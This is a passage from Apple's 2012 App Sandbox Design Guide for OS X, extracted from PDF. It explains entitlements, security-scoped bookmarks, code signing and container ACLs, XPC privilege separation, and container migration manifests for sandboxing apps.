Behavior with App Sandbox Certain NSOpenPanel and NSSavePanel methods behave differently when App Sandbox is enabled for your app: ● You cannot invoke the OK button using the ok: method. ● You cannot rewrite the user’sselection using the panel:userEnteredFilename:confirmed: method from the NSOpenSavePanelDelegate protocol. In addition, the effective, runtime inheritance path for the NSOpenPanel and NSSavePanel classesis different with App Sandbox, as illustrated in Table 2-2. App Sandbox in Depth Container Directories and File System Access 2012-09-19 | © 2012 Apple Inc. All Rights Reserved. 19Table 2-2 Open and Save class inheritance with App Sandbox Without App Sandbox NSOpenPanel : NSSavePanel : NSPanel : NSWindow : NSResponder : NSObject With App Sandbox NSOpenPanel : NSSavePanel : NSObject Because of this runtime difference, an NSOpenPanel or NSSavePanel object inherits fewer methods with App Sandbox. If you attempt to send a message to an NSOpenPanel or NSSavePanel object, and that method is defined in the NSPanel, NSWindow, or NSResponder classes, the system raises an exception. The Xcode compiler does not issue a warning or error to alert you to this runtime behavior. Entitlements and System Resource Access An app that is notsandboxed has accessto all user-accessible system resources—including the built-in camera and microphone, network sockets, printing, and most of the file system. If successfully attacked by malicious code, such an app can behave as a hostile agent with wide-ranging potential to inflict harm. When you enable App Sandbox for your app, you remove all but a minimalset of privileges and then deliberately restore them, one-by-one, using entitlements. An entitlement is a key-value pair that identifies a specific capability, such as the capability to open an outbound network socket. One special entitlement—Enable App Sandboxing—turns on App Sandbox. When you enable sandboxing, Xcode creates a .entitlements property list file and shows it in the project navigator. If your app requires a capability, request it by adding the corresponding entitlement to your Xcode project using the Summary tab of the target editor. If you don’t require a capability, take care to not include the corresponding entitlement. You request entitlements on a target-by-target basis. If your app has a single target—the main application—you request entitlements only forthat target. If you design your app to use a main application along with helpers (in the form of XPC services), you request entitlements individually, and as appropriate, for each target. You learn more about this in “XPC and Privilege Separation” (page 26). You may require finer-grained control over your app’s entitlements than is available in the Xcode target editor. For example, you might request a temporary exception entitlement because App Sandbox does not support a capability your app needs, such as the ability to send Apple events. To work with temporary exception entitlements, use the Xcode property list editor to edit a target’s .entitlements property list file directly. App Sandbox in Depth Entitlements and System Resource Access 2012-09-19 | © 2012 Apple Inc. All Rights Reserved. 20Note: If you request a temporary exception entitlement, be sure to follow the guidance regarding entitlements provided on the iTunes Connect website. In particular, use the Review Notes field in iTunes Connect to explain why your app needs the temporary exception. OS X App Sandbox entitlements are described in “Enabling App Sandbox” in Entitlement Key Reference . For a walk-through of requesting an entitlement for a target in an Xcode project,see “App Sandbox Quick Start” (page 8). Security-Scoped Bookmarks and Persistent Resource Access Your app’s access to file-system locations outside of its container—as granted to your app by way of user intent, such as through Powerbox—does not automatically persist across app launches or system restarts. When your app reopens, you have to start over. (The one exception to this is for files open at the time that your app terminates, which remain in your sandbox thanks to the OS X Resume feature). Starting in OS X v10.7.3, you can retain access to file-system resources by employing a security mechanism, known as security-scoped bookmarks, that preserves user intent. Here are a few examples of app features that can benefit from this: ● A user-selected download, processing, or output folder ● An image browser library file, which points to user-specified images at arbitrary locations ● A complex document format that supports embedded media stored in other locations Two Distinct Types of Security-Scoped Bookmark Security-scoped bookmarks, available starting in OS X v10.7.3, support two distinct use cases: ● An app-scoped bookmark provides your sandboxed app with persistent access to a user-specified file or folder. For example, if your app employs a download or processing folder that is outside of the app container, obtain initial access by presenting an NSOpenPanel dialog to obtain the user’s intent to use a specific folder. Then, create an app-scoped bookmark for that folder and store it as part of the app’s configuration (perhaps in a property list file or using the NSUserDefaults class). With the app-scoped bookmark, your app can obtain future access to the folder. ● A document-scoped bookmark provides a specific document with persistent access to a file. App Sandbox in Depth Security-Scoped Bookmarks and Persistent Resource Access 2012-09-19 | © 2012 Apple Inc. All Rights Reserved. 21For example, a code editor typically supports the notion of a project document that refers to other files and needs persistent access to those files. Other examples are an image browser or editor that maintains an image library, in which the library file needs persistent accessto the imagesit owns; or a word processor that supports embedded images, multimedia, or font files in its document format. In these cases, you configure the document format (of the project file, library file, word processing document, and so on) to be able to store security-scoped bookmarks to the files a document refers to. Obtain initial access to a referred item by asking for user intent to use that item. Then, create a document-scoped bookmark for the item and store the bookmark as part of the document’s data. A document-scoped bookmark can be resolved by any app that has access to the bookmark data itself and to the document that owns the bookmark. This supports portability, allowing a user, for example, to send a document to another user; the document’s secure bookmarks remain usable for the recipient. The document can be a flat file or a document distributed as a bundle. A document-scoped bookmark can point only to a file, not a folder, and only to a file that is not in a location used by the system (such as /private or /Library). Using Security-Scoped Bookmarks To use either type of security-scoped bookmark requires you to perform five steps: 1. Set the appropriate entitlement in the target that needs to use security-scoped bookmarks. Do this once per target as part of configuring your Xcode project. 2. Create a security-scoped bookmark. Do this when a user has indicated intent (such as via Powerbox) to use a file-system resource outside of your app’s container, and you want to preserve your app’s ability to access the resource. 3. Resolve the security-scoped bookmark. Do this when your app later (for example, after app relaunch) needs access to a resource you bookmarked in step 2. The result of this step is a security-scoped URL. 4. Explicitly indicate that you want to use the file-system resource whose URL you obtained in step 3. Do this immediately after obtaining the security-scoped URL (or, when you later want to regain access to the resource after having relinquished your access to it). 5. When done using the resource, explicitly indicate that you want to stop using it. Do this as soon as you know that you no longer need access to the resource (typically, after you close it). After you relinquish access to a file-system resource, to use that resource again you must return to step 4 (to again indicate you want to use the resource). If your app is relaunched, you must return to step 3 (to resolve the security-scoped bookmark). App Sandbox in Depth Security-Scoped Bookmarks and Persistent Resource Access 2012-09-19 | © 2012 Apple Inc. All Rights Reserved. 22The first step in the preceding list, requesting entitlements, is the prerequisite for using either type of security-scoped bookmark. Perform this step as follows: ● To use app-scoped bookmarksin a target,setthe com.apple.security.files.bookmarks.app-scope entitlement value to true. ● To use document-scoped bookmarks in a target, set the com.apple.security.files.bookmarks.document-scope entitlement value to true. You can request either or both of these entitlements in a target, as needed. These entitlements are available starting in OS X v10.7.3 and are described in “Enabling Security-Scoped Bookmark and URL Access” in Entitlement Key Reference . With the appropriate entitlements, you can create a security-scoped bookmark by calling the bookmarkDataWithOptions:includingResourceValuesForKeys:relativeToURL:error: method of the NSURL class (or its Core Foundation equivalent, the CFURLCreateBookmarkData function). When you later need access to a bookmarked resource, resolve its security-scoped bookmark by calling the the URLByResolvingBookmarkData:options:relativeToURL:bookmarkDataIsStale:error:method of the NSURL class (or its Core Foundation equivalent, the CFURLCreateByResolvingBookmarkData function). In a sandboxed app, you cannot access the file-system resource that a security-scoped URL points to until you call the startAccessingSecurityScopedResource method (or its Core Foundation equivalent, the CFURLStartAccessingSecurityScopedResource function) on the URL. When you no longer need access to a resource that you obtained using security scope (typically, after you close the resource) you must call the stopAccessingSecurityScopedResource method (or its Core Foundation equivalent, the CFURLStopAccessingSecurityScopedResource function) on the resource’s URL. Calls to start and stop access are nestable on a per-process basis. This means that if your app calls the start method on a URL twice, to fully relinquish access to the referenced resource you must call the corresponding stop method twice. If you call the stop method on a URL whose referenced resource you do not have access to, nothing happens. Warning: You must balance every call to the startAccessingSecurityScopedResource method with a corresponding call to the stopAccessingSecurityScopedResource method. If you fail to relinquish your access when you no longer need a file-system resource, your app leaks kernel resources. If sufficient kernel resources are leaked, your app loses its ability to add file-system locations to its sandbox, such as via Powerbox or security-scoped bookmarks, until relaunched. App Sandbox in Depth Security-Scoped Bookmarks and Persistent Resource Access 2012-09-19 | © 2012 Apple Inc. All Rights Reserved. 23For detailed descriptions of the methods, constants, and entitlementsto use for implementing security-scoped bookmarks in your app, read NSURL Class Reference or CFURL Reference , and read “Enabling Security-Scoped Bookmark and URL Access” in Entitlement Key Reference . App Sandbox and Code Signing After you enable App Sandbox and specify other entitlements for a target in your Xcode project, you must code sign the project. Take note of the distinction between how you set entitlements and how you set a code signing identity: ● Use the Xcode target editor to set entitlements on a target-by-target basis ● Use the Xcode project build settings to set the code signing identity for a project as a whole You must perform code signing because entitlements (including the special entitlement that enables App Sandbox) are built into an app’s code signature. From another perspective, an unsigned app is not sandboxed and has only default entitlements, regardless of settings you’ve applied in the Xcode target editor. OS X enforces a tie between an app’s container and the app’s code signature. This important security feature ensures that no other sandboxed app can access your container. The mechanism works as follows: After the system creates a container for an app, each time an app with the same bundle ID launches, the system checks that the app’s code signature matches a code signature expected by the container. If the system detects a mismatch, it prevents the app from launching. OS X’s enforcement of container integrity impacts your development and distribution cycle. This is because, in the course of creating and distributing an app, the app is code signed using various signatures. Here’s how the process works: 1. Before you create a project, you obtain two code signing certificatesfrom Apple: a development certificate and a distribution certificate. (To learn how to obtain code signing certificates, read “Creating Signing Certificates” in Tools Workflow Guide for Mac .) For development and testing, you sign your app with the development code signature. 2. When the Mac App Store distributes your app, it is signed with an Apple code signature. For testing and debugging, you may want to run both versions of your app: the version you sign and the version Apple signs. But OS X sees the Apple-signed version of your app as an intruder and won’t allow it to launch: Its code signature does not match the one expected by your app’s existing container. If you try to run the Apple-signed version of your app, you get a crash report containing a statement similar to this: App Sandbox in Depth App Sandbox and Code Signing 2012-09-19 | © 2012 Apple Inc. All Rights Reserved. 24Exception Type: EXC_BAD_INSTRUCTION (SIGILL) The solution is to adjust the access control list (ACL) on your app’s container to recognize the Apple-signed version of your app. Specifically, you add the designated code requirement of the Apple-signed version of your app to the app container’s ACL. To adjust an ACL to recognize an Apple-signed version of your app 1. Open Terminal (in /Applications/Utilities). 2. Open a Finder window that contains the Apple-signed version of your app. 3. In Terminal, enter the following command: asctl container acl add -file In place of the placeholder, substitute the path to the Apple-signed version of your app. Instead of manually typing the path, you can drag the app’s Finder icon to the Terminal window. The container’s ACL now includes the designated code requirements for both versions of your app. OS X then allows you to run either version of your app. You can use this same technique to share a container between (1) a version of an app that you initially signed with a self-generated code signature, such as the one you created in “App Sandbox Quick Start” (page 8), and (2) a later version that you signed with a development code signature from Apple. You can view the list of code requirements in a container’s ACL. For example, after adding the designated code requirement for the Apple-signed version of your app, you can confirm that the container’s ACL lists two permissible code requirements. To display the list of code requirements in a container’s ACL 1. Open Terminal (in /Applications/Utilities). 2. In Terminal, enter the following command: asctl container acl list -bundle In place of the placeholder,substitute the name of your app’s container directory. (The name of your app’s container directory is typically the same as your app’s bundle identifier.) App Sandbox in Depth App Sandbox and Code Signing 2012-09-19 | © 2012 Apple Inc. All Rights Reserved. 25For more information about working with App Sandbox container access control lists and their code requirements, read the man page for the asctl (App Sandbox control) tool. External Tools, XPC Services, and Privilege Separation Some app operations are more likely to be targets of malicious exploitation. Examples are the parsing of data received over a network, and the decoding of video frames. By using XPC, you can improve the effectiveness of the damage containment offered by App Sandbox by separating such potentially dangerous activities into their own address spaces. XPC is an OS X interprocess communication technology that complements App Sandbox by enabling privilege separation. Privilege separation, in turn, is a development strategy in which you divide an app into pieces according to the system resource access that each piece needs. The component pieces that you create are called XPC services. You create an XPC service as an individual target in your Xcode project. Each service gets its own sandbox—specifically, it gets its own container and its own set of entitlements. In addition, an XPC service that you include with your app is accessible only by your app. These advantages add up to making XPC the best technology for implementing privilege separation in an OS X app. By contrast, a child process created by using the posix_spawn function, by calling fork and exec (discouraged), or by using the NSTask class simply inherits the sandbox of the process that created it. You cannot configure a child process’s entitlements. For these reasons, child processes do not provide effective privilege separation. To use XPC with App Sandbox: ● Confer minimal privileges to each XPC service, according to its needs. ● Design the data transfers between the main app and each XPC service to be secure. ● Structure your app’s bundle appropriately. The life cycle of an XPC service, and its integration with Grand Central Dispatch (GCD), is managed entirely by the system. To obtain this support, you need only to structure your app’s bundle correctly. For more on XPC, see “Creating XPC Services” in Daemons and Services Programming Guide . App Sandbox in Depth External Tools, XPC Services, and Privilege Separation 2012-09-19 | © 2012 Apple Inc. All Rights Reserved. 26There’s a common, basic workflow for designing or converting an app for App Sandbox. The specific steps to take for your particular app, however, are as unique as your app. To create a work plan for adopting App Sandbox, use the process outlined here, along with the conceptual understanding you have from the earlier chapters in this document. Six Steps for Adopting App Sandbox The workflow to convert an OS X app to work in a sandbox typically consists of the following six steps: 1. Determine whether your app is suitable for sandboxing. 2. Design a development and distribution strategy. 3. Resolve API incompatibilities. 4. Apply the App Sandbox entitlements you need. 5. Add privilege separation using XPC. 6. Implement a migration strategy. Determine Whether Your App Is Suitable for Sandboxing Most OS X apps are fully compatible with App Sandbox. If you need behavior in your app that App Sandbox does not allow, consider an alternative approach. For example, if your app depends on hard-coded paths to locationsin the user’s home directory, consider the advantages of using Cocoa and Core Foundation path-finding APIs, which use the sandbox container instead. If you choose to not sandbox your app now, or if you determine that you need a temporary exception entitlement, use Apple’s bug reporting system to let Apple know what’s not working for you. Apple considers feature requests as it develops the OS X platform. Also, if you request a temporary exception, be sure to use the Review Notes field in iTunes Connect to explain why the exception is needed. The following app behaviors are incompatible with App Sandbox: ● Use of Authorization Services 2012-09-19 | © 2012 Apple Inc. All Rights Reserved. 27 Designing for App SandboxWith App Sandbox, you cannot do work with the functions described in Authorization Services C Reference . ● Use of accessibility APIs in assistive apps With App Sandbox, you can and should enable your app for accessibility, as described in Accessibility Overview for OS X . However, you cannot sandbox an assistive app such as a screen reader, and you cannot sandbox an app that controls another app. ● Sending Apple events to arbitrary apps With App Sandbox, you can receive Apple events and respond to Apple events, but you cannotsend Apple events to arbitrary apps. By using a temporary exception entitlement, you can enable the sending of Apple eventsto a list ofspecific apps that you specify, as described in Entitlement Key Reference . ● Sending user-info dictionaries in broadcast notifications to other tasks With App Sandbox, you cannot include a user-info dictionary when posting to an NSDistributedNotificationCenter object for messaging other tasks. (You can , as usual, include a user-info dictionary when messaging other parts of your app by way of posting to an NSNotificationCenter object.) ● Loading kernel extensions Loading of kernel extensions is prohibited with App Sandbox. ● Simulation of user input in Open and Save dialogs If your app depends on programmatically manipulating Open or Save dialogs to simulate or alter user input, your app is unsuitable for sandboxing. ● Setting preferences on other apps With App Sandbox, each app maintains its preferences inside its container. Your app has no access to the preferences of other apps. ● Configuring network settings With App Sandbox, your app cannot modify the system’s network configuration (whether with the System Configuration framework, the CoreWLAN framework, or other similar APIs) because doing so requires administrator privileges. ● Terminating other apps With App Sandbox, you cannot use the NSRunningApplication class to terminate other apps. Designing for App Sandbox Determine Whether Your App Is Suitable for Sandboxing 2012-09-19 | © 2012 Apple Inc. All Rights Reserved. 28Design a Development and Distribution Strategy During development, you may have occasion to run versions of your app that are signed with different code signatures. After you’ve run your app signed using one signature, the system won’t allow a second version of your app, signed with a second signature, to launch—unless you modify the app’s container. Be sure to understand how to handle this, as described in “App Sandbox and Code Signing” (page 24), as you design your development strategy. When a customer first launches a sandboxed version of your app, the system creates a container for your app. The access control list (ACL) for the container is established at that time, and the ACL istied to the code signature of that version of your app. The implication for you is that all future versions of the app that you distribute must use the same code signature. To learn how to obtain code signing certificatesfrom Apple, read “Creating Signing Certificates” in Tools Workflow Guide for Mac . Resolve API Incompatibilities If you are using OS X APIs in ways that were not intended, or in ways that expose user data to attack, you may encounter incompatibilities with App Sandbox. This section provides some examples of app design that are incompatible with App Sandbox and suggests what you can do instead. Opening, Saving, and Tracking Documents If you are managing documents using any technology other than the NSDocument class, you should convert to using this classto benefit from its built-in App Sandbox support. The NSDocument class automatically works with Powerbox. NSDocument also provides support for keeping documents within your sandbox if the user moves them using the Finder. Remember that the inheritance path of the NSOpenPanel and NSSavePanel classes is different when your app is sandboxed. See “Open and Save Dialog Behavior with App Sandbox” (page 19). If you don’t use the NSDocument class to manage your app’s documents, you can craft your own file-system support for App Sandbox by using the NSFileCoordinator class and the NSFilePresenter protocol. Retaining Access to File System Resources If your app depends on persistent access to file system resources outside of your app’s container, you need to adopt security-scoped bookmarks as described in “Security-Scoped Bookmarks and Persistent Resource Access” (page 21). Designing for App Sandbox Design a Development and Distribution Strategy 2012-09-19 | © 2012 Apple Inc. All Rights Reserved. 29Creating a Login Item for Your App To create a login item for your sandboxed app, use the SMLoginItemSetEnabled function (declared in ServiceManagement/SMLoginItem.h) as described in “Adding Login Items Using the Service Management Framework” in Daemons and Services Programming Guide . (With App Sandbox, you cannot create a login item using functions in the LSSharedFileList.h header file. For example, you cannot use the function LSSharedFileListInsertItemURL. Nor can you manipulate the state of launch services, such as by using the function LSRegisterURL.) Accessing User Data OS X path-finding APIs, above the POSIX layer, return paths relative to the container instead of relative to the user’s home directory. If your app, before you sandbox it, accesses locations in the user’s actual home directory (~) and you are using Cocoa or Core Foundation APIs, then, after you enable sandboxing, your path-finding code automatically uses your app’s container instead. For first launch of your sandboxed app, OS X automatically migrates your app’s main preferences file. If your app uses additional support files, perform a one-time migration of those files to the container, as described in “Migrating an App to a Sandbox” (page 33). If you are using a POSIX function such as getpwuid to obtain the path to the user’s actual home directory, consider instead using a Cocoa or Core Foundation symbol such as the NSHomeDirectory function. By using Cocoa or Core Foundation, you support the App Sandbox restriction against directly accessing the user’s home directory. If your app requires access to the user’s home directory in order to function, let Apple know about your needs using the Apple bug reporting system. In addition, be sure to follow the guidance regarding entitlements provided on the iTunes Connect website. Accessing Preferences of Other Apps Because App Sandbox directs path-finding APIs to the container for your app, reading or writing to the user’s preferencestakes place within the container. Preferencesfor othersandboxed apps are inaccessible. Preferences for appsthat are notsandboxed are placed in the ~/Library/Preferences directory, which is also inaccessible to your sandboxed app. If your app requires access to another app’s preferences in order to function—for example, if it requires access to the playlists that a user has defined for iTunes—let Apple know about your needs using the Apple bug reporting system. In addition, be sure to follow the guidance regarding entitlements provided on the iTunes Connect website. Designing for App Sandbox Resolve API Incompatibilities 2012-09-19 | © 2012 Apple Inc. All Rights Reserved. 30With these provisosin mind, you can use a path-based temporary exception entitlement to gain programmatic accessto the user’s ~/Library/Preferences folder. Use a read-only entitlement to avoid opening the user’s preferences to malicious exploitation. A POSIX function, such as getpwuid, can provide the file system path you need. For details on entitlements, see Entitlement Key Reference . Apply the App Sandbox Entitlements You Need To adopt App Sandbox for a target in an Xcode project, apply the value to the com.apple.security.app-sandbox entitlement key for that target. Do this in the Xcode target editor by selecting the Enable App Sandboxing checkbox. Apply other entitlements as needed. For a complete list, refer to Entitlement Key Reference . Important: App Sandbox protects user data most effectively when you minimize the entitlements you request. Take care not to request entitlements for privileges your app does not need. Consider whether making a change in your app could eliminate the need for an entitlement. Here’s a basic workflow to use to determine which entitlements you need: 1. Run your app and exercise its features. 2. In the Console app (available in /Applications/Utilities/), look for sandboxd violations in the All Messages system log query. Each such violation indicates that your app attempted to do something not allowed by your sandbox. Here’s what a sandboxd violation looks like in Console: 3:56:16 pm sandboxd: ([4928]) AppSandboxQuickS(4928) deny network-outbound 111.30.222.15:80 3:56:16 pm sandboxd: ([4928]) AppSandboxQuickS(4928) deny system-socket Click the paperclip icon to the right of a violation message to view the backtrace that shows what led to the violation. 3. For each sandboxd violation you find, determine how to resolve the problem. In same cases, a simple change to your app,such as using your Container instead of other file system locations,solvesthe problem. In other cases, applying an App Sandbox entitlement using the Xcode target editor is the best choice. 4. Using the Xcode target editor, enable the entitlement that you think will resolve the violation. 5. Run the app and exercise its features again. Either confirm that you have resolved the sandboxd violation, or investigate further. Designing for App Sandbox Apply the App Sandbox Entitlements You Need 2012-09-19 | © 2012 Apple Inc. All Rights Reserved. 31If you choose not to sandbox your app now or to use a temporary exception entitlement, use Apple’s bug reporting system to let Apple know about the issue you are encountering. Apple considers feature requests as it develops the OS X platform. Also, be sure use the Review Notes field in iTunes Connect to explain why the exception is needed. Add Privilege Separation Using XPC When developing for App Sandbox, look at your app’s behaviors in terms of privileges and access. Consider the potential benefitsto security and robustness ofseparating high-risk operationsinto their own XPC services. When you determine that a feature should be placed into an XPC service, do so by referring to “Creating XPC Services” in Daemons and Services Programming Guide . Implement a Migration Strategy Ensure that customers who are currently using a pre-sandbox version of your app experience a painless upgrade when they install the sandboxed version. For details on how to implement a container migration manifest, read “Migrating an App to a Sandbox” (page 33). Designing for App Sandbox Add Privilege Separation Using XPC 2012-09-19 | © 2012 Apple Inc. All Rights Reserved. 32An app that is not sandboxed places its support files in locations that are inaccessible to a sandboxed version of the same app. For example, the typical locations for support files are shown here: Path Description Legacy location ~/Library/Application Support// Sandbox location ~/Library/Containers//Data/Library/Application Support// As you can see, the sandbox location for the Application Support directory is within an app’s container—thus allowing the sandboxed app unrestricted read/write access to those files. If you previously distributed your app without sandboxing and you now want to provide a sandboxed version, you must move support files into their new, sandbox-accessible locations. Note: The system automatically migrates your app’s preferences file (~/Library/Preferences/com.yourCompany.YourApp.plist) on firstlaunch of yoursandboxed app. OS X provides support-file migration, on a per-user basis, when a user first launches the sandboxed version of your app. This support depends on a special property list file you create, called a container migration manifest. A container migration manifest consists of an array of strings that identify the support files and directories you want to migrate when a user first launches the sandboxed version of your app. The file’s name must be container-migration.plist. For each file or directory you specify for migration, you have a choice of allowing the system to place the item appropriately in your container, or explicitly specifying the destination location. OS X moves—it does not copy—the files and directories you specify in a container migration manifest. That is, the files and directories migrated into your app’s container no longer exist at their original locations. In addition, container migration is a one-way process: You are responsible for providing a way to undo it, should you need to do so during development or testing. The section “Undoing a Migration for Testing” (page 36) provides a suggestion about this. 2012-09-19 | © 2012 Apple Inc. All Rights Reserved. 33 Migrating an App to a SandboxCreating a Container Migration Manifest To support migration of app support files when a user first launches the sandboxed version of your app, create a container migration manifest. To create and add a container migration manifest to an Xcode project 1. Add a property list file to the Xcode project. The Property List template is in the OS X “Resource” group in the file template dialog. Important: Be sure to name the file container-migration.plist spelled and lowercased exactly this way. 2. Add a Move property to the container migration manifest. The Move property is the lone top-level key in a container migration manifest. You add it to the empty file as follows: ● Right-click the empty editor for the new .plist file, then choose Add Row. ● In the Key column, enter Move as the name of the key. You must use this exact casing and spelling. ● In the Type column, choose Array. 3. Add a string to the Move array for the first file or folder you want to migrate. For example, suppose you want to migrate your Application Support directory (along with its contained files and subdirectories) to your container. If your directory is called App Sandbox Quick Start and is currently within the ~/Library/Application Support directory, use the following string as the value for the new property list item: ${ApplicationSupport}/App Sandbox Quick Start No trailing slash character is required, and space characters are permitted. The search-path constant in the path is equivalent to ~/Library/Application Support. This constant is described, along with other commonly used directories, in “Use Variables to Specify Support-File Directories” (page 37). Similarly, add additional strings to identify the original (before sandboxing) paths of additional files or folders you want to migrate. Migrating an App to a Sandbox Creating a Container Migration Manifest 2012-09-19 | © 2012 Apple Inc. All Rights Reserved. 34When you specify a directory to be moved, keep in mind that the move is recursive—it includes all the subdirectories and files within the directory you specify. Before you first test a migration manifest, provide a way to undo the migration, such as suggested in “Undoing a Migration for Testing” (page 36). To test a container migration manifest 1. In the Finder, open two windows as follows: ● In one window, view the contents of the ~/Library/Containers/ directory. ● In the other window, view the contents of the directory containing the support files named in the container migration manifest—that is, the files you want to migrate. 2. Build and run the Xcode project. Upon successful migration, the support files disappear from the original (nonsandbox) directory and appear in your app’s container. If you want to alter the arrangement ofsupport files during migration, use a slightly more complicated .plist structure. Specifically, for a file or directory whose migration destination you want to control, provide both a starting and an ending path. The ending path is relative to the Data directory in your container. In specifying an ending path, you can use any of the search-path constants described in “Use Variablesto Specify Support-File Directories” (page 37). If your destination path specifies a custom directory (one that isn’t part of a standard container), the system creates the directory during migration. The following task assumes that you’re using the Xcode property list editor and working with the container migration manifest you created earlier in this chapter. To control the destination of a migrated file or directory 1. In the container migration manifest, add a new item to the Move array. 2. In the Type column, choose Array. 3. Add two strings as children of the new array item. 4. In the top string of the pair, specify the origin path of the file or directory you want to migrate. 5. In the bottom string of the pair, specify the destination (sandbox) custom path for the file or directory you want to migrate. Migrating an App to a Sandbox Creating a Container Migration Manifest 2012-09-19 | © 2012 Apple Inc. All Rights Reserved. 35File migration proceeds from top-to-bottom through the container migration manifest. Take care to list items in an order that works. For example,suppose you want to move your entire Application Support directory as-is, except for one file. You want that file to go into a new directory parallel to Application Support in the container. For this approach to work, you must specify the individual file move before you specify the move of the Application Support directory—that is, specify the individual file move higher in the container migration manifest. (If Application Support were specified to be moved first, the individual file would no longer be at its original location at the time the migration process attempted to move it to its new, custom location in the container.) Undoing a Migration for Testing When testing migration of support files, you may find it necessary to perform migration more than once. To support this, you need a way to restore your starting directory structures—that is, the structures as they exist prior to migration. One way to do this is to make a copy of the directories to migrate, before you perform a first migration. Save this copy in a location unaffected by the migration manifest. The following task assumes you have created this sort of backup copy. To manually undo a container migration for testing purposes 1. Manually copy the files and directories—those specified in the manifest—from your backup copy to their original (premigration) locations. 2. Delete your app’s container. The next time you launch the app, the system recreates the container and migrates the support files according to the current version of the container migration manifest. An Example Container Migration Manifest Listing 4-1 shows an example manifest as viewed in a text editor. Listing 4-1 An example container migration manifest Migrating an App to a Sandbox Undoing a Migration for Testing 2012-09-19 | © 2012 Apple Inc. All Rights Reserved. 36 Move ${Library}/MyApp/MyConfiguration.plist ${Library}/MyApp/MyDataStore.xml ${ApplicationSupport}/MyApp/MyDataStore.xml This manifest specifies the migration of two items from the user’s Library directory to the app’s container. For the first item, MyConfiguration.plist, only the origin path is specified, leaving it to the migration process to place the file appropriately. For the second item, MyDataStore.xml, both an origin and a custom destination path are specified. The ${Library} and ${ApplicationSupport} portions of the paths are variables you can use as a convenience. For a list of variables you can use in a container migration manifest, see “Use Variables to Specify Support-File Directories” (page 37). Use Variables to Specify Support-File Directories When you specify a path in a container migration manifest, you can use certain variables that correspond to commonly used support file directories. These variables work in origin and destination paths, but the path that a variable resolves to depends on the context. Refer to Table 4-1. Table 4-1 How system directory variables resolve depending on context Context Variable resolves to Origin path Home-relative path (relative to the ~ directory) Destination path Container-relative path (relative to the Data directory in the container) Migrating an App to a Sandbox Use Variables to Specify Support-File Directories 2012-09-19 | © 2012 Apple Inc. All Rights Reserved. 37The variables you can use for specifying support-file directories are described in Table 4-2 (page 38). For an example of how to use these variables, see Listing 4-1 (page 36). You can also use a special variable that resolves to your app’s bundle identifier, allowing you to conveniently incorporate it into an origin or destination path. This variable is ${BundleId}. Table 4-2 Variables for support-file directories Variable Directory The directory containing application support files. Corresponds to the NSApplicationSupportDirectory search-path constant. ${ApplicationSupport} The directory containing the user’s autosaved documents. Corresponds to the NSAutosavedInformationDirectory search-path constant. ${AutosavedInformation} The directory containing discardable cache files. Corresponds to the NSCachesDirectory search-path constant. ${Caches} Each variable correspondsto the directory containing the user’s documents. Corresponds to the NSDocumentDirectory search-path constant. ${Document} ${Documents} The current user’s home directory. Corresponds to the directory returned by the NSHomeDirectory function. When in a destination path in a manifest, resolves to the Container directory. ${Home} The directory containing application-related support and configuration files. Corresponds to the NSLibraryDirectory search-path constant. ${Library} Migrating an App to a Sandbox Use Variables to Specify Support-File Directories 2012-09-19 | © 2012 Apple Inc. All Rights Reserved. 38This table describes the changes to App Sandbox Design Guide . Date Notes 2012-09-19 Clarified information about launching external tools. 2012-07-23 Added an explanation of app group containers. Improved the explanation of security-scoped bookmarks in “Security-Scoped Bookmarks and Persistent Resource Access” (page 21); updated that section for OS X v10.7.4. 2012-05-14 Added a brief section in the “Designing for App Sandbox” chapter: “Retaining Access to File System Resources” (page 29). Improved the discussion in “Opening, Saving, and Tracking Documents” (page 29), adding information about using file coordinators. Corrected the information in “Creating a Login Item for Your App” (page 30). Improved explanation ofsecurity-scoped bookmarksin “Security-Scoped Bookmarks and Persistent Resource Access” (page 21). 2012-03-14 Clarified the explanation of the container directory in “The App Sandbox Container Directory” (page 16) Updated for OS X v10.7.3, including an explanation of how to use security-scoped bookmarks. 2012-02-16 Added a section explaining how to provide persistent accessto file-system resources, “Security-Scoped Bookmarks and Persistent Resource Access” (page 21). 2012-09-19 | © 2012 Apple Inc. All Rights Reserved. 39 Document Revision HistoryDate Notes Expanded the discussion in “Powerbox and File System Access Outside of Your Container” (page 17) to better explain how user actions expand your app’s file system access. Added a section detailing the changes in behavior of Open and Save dialogs, “Open and Save Dialog Behavior with App Sandbox” (page 19). New document that explains Apple's security technology for damage containment, and how to use it. 2011-09-27 Portions of this document were previously published in Code Signing and Application Sandboxing Guide . Document Revision History 2012-09-19 | © 2012 Apple Inc. All Rights Reserved. 40Apple Inc. © 2012 Apple Inc. All rights reserved. No part of this publication may be reproduced, stored in a retrievalsystem, or transmitted, in any form or by any means, mechanical, electronic, photocopying, recording, or otherwise, without prior written permission of Apple Inc., with the following exceptions: Any person is hereby authorized to store documentation on a single computer for personal use only and to print copies of documentation for personal use provided that the documentation contains Apple’s copyright notice. No licenses, express or implied, are granted with respect to any of the technology described in this document. Apple retains all intellectual property rights associated with the technology described in this document. This document is intended to assist application developers to develop applications only for Apple-labeled computers. Apple Inc. 1 Infinite Loop Cupertino, CA 95014 408-996-1010 Apple, the Apple logo, Cocoa, Finder, iTunes, Keychain, Mac, OS X, Sand, and Xcode are trademarks of Apple Inc., registered in the U.S. and other countries. QuickStart is a trademark of Apple Inc. iCloud is a service mark of Apple Inc., registered in the U.S. and other countries. App Store and Mac App Store are service marks of Apple Inc. iOS is a trademark or registered trademark of Cisco in the U.S. and other countries and is used under license. Even though Apple has reviewed this document, APPLE MAKES NO WARRANTY OR REPRESENTATION, EITHER EXPRESS OR IMPLIED, WITH RESPECT TO THIS DOCUMENT, ITS QUALITY, ACCURACY, MERCHANTABILITY, OR FITNESS FOR A PARTICULAR PURPOSE.ASARESULT, THISDOCUMENT IS PROVIDED “AS IS,” AND YOU, THE READER, ARE ASSUMING THE ENTIRE RISK AS TO ITS QUALITY AND ACCURACY. IN NO EVENT WILL APPLE BE LIABLE FOR DIRECT, INDIRECT, SPECIAL, INCIDENTAL,OR CONSEQUENTIAL DAMAGES RESULTING FROM ANY DEFECT OR INACCURACY IN THIS DOCUMENT, even if advised of the possibility of such damages. THE WARRANTY AND REMEDIES SET FORTH ABOVE ARE EXCLUSIVE AND IN LIEU OF ALL OTHERS, ORAL OR WRITTEN, EXPRESS OR IMPLIED. No Apple dealer, agent, or employee is authorized to make any modification, extension, or addition to this warranty. Some states do not allow the exclusion or limitation of implied warranties or liability for incidental or consequential damages, so the above limitation or exclusion may not apply to you. This warranty gives you specific legal rights, and you may also have other rights which vary from state to state. iTunes Connect Sales and Trends Guide App Store  Apple 